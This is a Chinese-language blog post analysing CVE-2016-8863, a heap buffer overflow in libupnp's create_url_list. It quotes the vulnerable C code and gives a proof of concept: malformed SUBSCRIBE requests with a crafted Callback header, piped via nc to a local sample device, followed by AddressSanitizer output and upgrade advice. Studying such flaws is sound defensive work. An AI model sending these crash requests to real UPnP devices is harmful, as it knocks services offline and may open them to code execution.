• CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc


    1、libupnp问题分析:

    (1)问题简述:

    根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863。

    (2)漏洞原理分析:

             该漏洞发生在upnpSDK库中,upnp/src/gena/gena_device.c.文件的create_url_list函数中,由于对输入数据未进行有效检验,造成对缓冲区溢出,可以导致服务器拒绝服务或崩溃;攻击者也可以精心制造一个攻击URL,通过subscribe request的callback header来执行任意代码。

             问题主要出现在下列这个for循环中,这个循环主要是解析订阅请求的Callback头里的URL列表,如果return_code == UPNP_E_OUTOF_MEMORY或者temp.hostport.text.size == 0,那么urlcount变量不会增加。

             如果提供了2个URL,第一个被正确解析,第二个没有,此时URLcount会等于1并且跳出循环。

    for( i = 0; i < URLS->size; i++ ) {
    
        if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) {
    
            if( ( ( return_code = parse_uri( &URLS->buff[i + 1],
    
                                             URLS->size - i + 1,
    
                                             &temp ) ) == HTTP_SUCCESS )
    
                && ( temp.hostport.text.size != 0 ) ) {
    
                URLcount++;
    
            } else {
    
                if( return_code == UPNP_E_OUTOF_MEMORY ) {
    
                    return return_code;
    
                }
    
            }
    
        }
    
    }

             下一段代码是溢出实际发生的地方。第一个条件为真是因为urlcount 1,接下来,分配一个缓冲区(out URL)来保存原始URI字符串的副本。然后,分配一个url_type类型的数组去存储每一个URL解析出来的具体内容。此时该数组的大小是1,因为urlcount=1;        但是问题是for循环将会再次解析原始字符串,

             这两个循环的唯一区别就是解析的URL存储在连续的索引中,而不是一个连续变量里。因此,当它解析第二个URI时,它将- > parsedURLs[1]的值传给parse_uri()函数,这是函数传递的一个数组结尾的地址。当parse_uri()填充该结构的值时,数组的地址就会被写入。

       
    if( URLcount > 0 ) {
        out->URLs = malloc(URLS->size + 1);
    
        out->parsedURLs = malloc(sizeof(uri_type) * URLcount);
    
        // omitted for readability
    
        memcpy( out->URLs, URLS->buff, URLS->size );
    
        out->URLs[URLS->size] = 0;
    
        URLcount = 0;
    
        for( i = 0; i < URLS->size; i++ ) {
    
            if( ( URLS->buff[i] == '<' ) && ( i + 1 < URLS->size ) ) {
    
                if( ( ( return_code =
    
                        parse_uri( &out->URLs[i + 1], URLS->size - i + 1,
    
                                   &out->parsedURLs[URLcount] ) ) ==
    
                      HTTP_SUCCESS )
    
                    && ( out->parsedURLs[URLcount].hostport.text.size !=
    
                         0 ) ) {
    
                    URLcount++;
    
                } else {
    
                    if( return_code == UPNP_E_OUTOF_MEMORY ) {
    
                        free( out->URLs );
    
                        free( out->parsedURLs );
    
                        out->URLs = NULL;
    
                        out->parsedURLs = NULL;
    
                        return return_code;
    
                    }
    
                }
    
            }
    
        }
    
    }

    根据恶意URI的格式不同,会导致不同的问题。有时,overwrite没有明显的影响,有时它会使程序崩溃。至少,可以实现拒绝服务攻击,也可以将其用于远程代码执行。

    (赵学鹏 2017.9.22)                                                         

    (3)漏洞Poc脚本

    First, compile for 32-bit with debugging enabled and an installation directory set. The reason for the setting the installation directory and compiling for 32-bits is so that “make install” results in a single binary that is easy to debug.

    .

    /configure --prefix=<install dir> --enable-debug --host=i686-linux-gnu CFLAGS="-m32 -fno-omit-frame-pointer" LDFLAGS=-m32
    
    make clean;make install

    To setup the default sample, which emulates a TV device, do the following from the libupnp directory:

    cd upnp/sample
    
    mkdir tvdevice
    
    cp -r web tvdevice

    To run the sample change to the directory you just created and run the binary:

    cd tvdevice
    
    ../.libs/tv_device

    With the sample running go to another terminal window. Enter the following to create a non-malicious subscription message:

    printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1 HOST: 0.0.0.0:49152 CALLBACK: <http://127.0.0.1:49153> NT: upnp:event TIMEOUT: Second-1801 " | nc 127.0.0.1 49152

    One form of a malicious message will crash the application is:

    printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1 HOST: 0.0.0.0:49152 CALLBACK: <http://127.0.0.1:49153><http://a:49153 NT: upnp:event TIMEOUT: Second-1801 " | nc 127.0.0.1 49152

    Another is:

    printf "SUBSCRIBE /upnp/event/tvcontrol1 HTTP/1.1 HOST: 0.0.0.0:49152 CALLBACK: <http://127.0.0.1:49153><//:49153 NT: upnp:event TIMEOUT: Second-1801 " | nc 127.0.0.1 49152

    Below is the output of address sanitizer from either of the two requests above (add “-fsanitize=address” to CFLAGS during configure).

    =================================================================
    
    ==13048== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xeef07710 at pc 0xf698b0c3 bp 0xf1463998 sp 0xf1463988
    
    WRITE of size 4 at 0xeef07710 thread T8
    
        #0 0xf698b0c2 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x460c2)
    
        #1 0xf698cb13 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x47b13)
    
        #2 0xf6992e1c (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4de1c)
    
        #3 0xf6993bae (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)
    
        #4 0xf69999f3 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)
    
        #5 0xf6964b8f (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)
    
        #6 0xf6964e58 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)
    
        #7 0xf693baa4 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)
    
        #8 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)
    
        #9 0xf69f13bc (/usr/lib/libasan.so.0.0.0+0xa3bc)
    
        #10 0xf68feb2b (/usr/lib/libpthread-2.17.so+0x6b2b)
    
        #11 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)
    
    0xeef07710 is located 8 bytes to the right of 168-byte region [0xeef07660,0xeef07708)
    
    allocated by thread T8 here:
    
        #0 0xf69fe45f (/usr/lib/libasan.so.0.0.0+0x1745f)
    
        #1 0xf69928da (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4d8da)
    
        #2 0xf6993bae (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x4ebae)
    
        #3 0xf69999f3 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x549f3)
    
        #4 0xf6964b8f (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fb8f)
    
        #5 0xf6964e58 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x1fe58)
    
        #6 0xf693baa4 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5aa4)
    
        #7 0xf6a02766 (/usr/lib/libasan.so.0.0.0+0x1b766)
    
        #8 0xf683276d (/usr/lib/libc-2.17.so+0xf776d)
    
    Thread T8 created by T0 here:
    
        #0 0xf69f12ca (/usr/lib/libasan.so.0.0.0+0xa2ca)
    
        #1 0xf693be13 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x5e13)
    
        #2 0xf693c882 (/home/user/Downloads/pupnp-code/install/lib/libthreadutil.so.10.0.0+0x6882)
    
        #3 0xf6967c74 (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x22c74)
    
        #4 0xf69a2aee (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5daee)
    
        #5 0xf69a2d2d (/home/user/Downloads/pupnp-code/install/lib/libupnp.so.10.0.0+0x5dd2d)
    
        #6 0x804fc17 (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x804fc17)
    
        #7 0x805056c (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x805056c)
    
        #8 0x8050631 (/home/user/Downloads/pupnp-code/upnp/sample/.libs/tv_device+0x8050631)
    
        #9 0xf6754942 (/usr/lib/libc-2.17.so+0x19942)

    (4)漏洞修复

      Libupnp官方升级日志中显示在Version 1.6.21中修复了此漏洞:

      建议设备对libupnoSDK版本升级到1.6.21以上

             http://pupnp.sourceforge.net/

  • 相关阅读:
    误删表空间处理办法
    一步步开发网站系列-网站界面
    webstorm ftp发布问题
    TP5接受Vue跨域请求
    tp5上传图片添加永久素材到微信公众号
    将博客搬至CSDN
    swoole http_server 多进程并使用多进程处理消息
    高并发下,php与redis实现的抢购、秒杀功能
    SVN服务器搭建
    web服务器安全笔记
  • 原文地址:https://www.cnblogs.com/Shepherdzhao/p/7575661.html
Copyright © 2020-2023  润新知